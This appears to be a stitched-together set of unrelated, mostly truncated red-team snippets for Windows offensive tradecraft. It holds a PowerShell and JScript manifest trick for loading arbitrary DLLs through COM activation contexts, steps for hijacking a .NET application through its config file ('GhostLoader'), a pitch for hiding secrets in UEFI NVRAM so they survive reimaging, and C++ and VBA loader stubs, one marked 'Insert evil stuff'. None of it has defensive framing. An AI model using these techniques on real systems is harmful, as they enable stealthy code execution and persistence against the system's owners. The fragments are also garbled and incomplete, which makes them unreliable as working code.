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#Doesn't Even Have to Be A Conformant COM DLL To trigger the load.

# Sample DLL To inject here 
# https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1179

$manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 	<assemblyIdentity type="win32" name="LiterallyDoesentMatter" version="6.6.6.0"/> 	<file name="Anyname.dll.anything">     	<comClass         	description="Any Description HERE"         	clsid="{89565276-A714-4a43-91FE-EDACDCC0FFEE}" threadingModel="Both"         	progid="JustMakeSomethingUp"/> 	</file>  </assembly>';
$ax = new-object -Com "Microsoft.Windows.ActCtx"
$ax.ManifestText = $manifest;
$DWX = $ax.CreateObject("JustMakeSomethingUp");

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GospelRoom: Data Storage in UEFI NVRAM Variables

Behaviour

Persist data in UEFI NVRAM variables.

Benefits

1. Stealthy way to store secrets and other data in UEFI.
2. Will survive a reimaging of the operating system.

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#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>

BOOL PatchTheRet(HMODULE realModule) {

	// Get primary module info

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#include <Windows.h>
#include <intrin.h>
#include <string>
#include <TlHelp32.h>
#include <psapi.h>

DWORD WINAPI Thread(LPVOID lpParam) {
	// Insert evil stuff

	ExitProcess(0);

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new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks';
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager";
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly>        <assemblyIdentity name="tasks" version="0.0.0.0"/>      </dependentAssembly> </dependency>	<assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   ru

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GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

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#include "stdafx.h"

#define DB(_val_) __asm __emit (_val_)

#define INVALID_SYSCALL (DWORD)(-1)

// code selectors
#define CS_32   0x23
#define CS_64   0x33

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#include <windows.h>
#include <winternl.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")

int main() {    
	STARTUPINFOA si;
	si = {};
	PROCESS_INFORMATION pi = {};

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' Need to add project references to C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscoree.tlb and mscorlib.tlb

Private Declare PtrSafe Function DispCallFunc Lib "oleaut32.dll" (ByVal pv As LongPtr, ByVal ov As LongPtr, ByVal cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr)
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr

#If Win64 Then
Const LS As LongPtr = 8&
#Else
Const LS As LongPtr = 4&

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/*!
 *
 * ROGUE
 *
 * GuidePoint Security LLC
 *
 * Threat and Attack Simulation
 *
!*/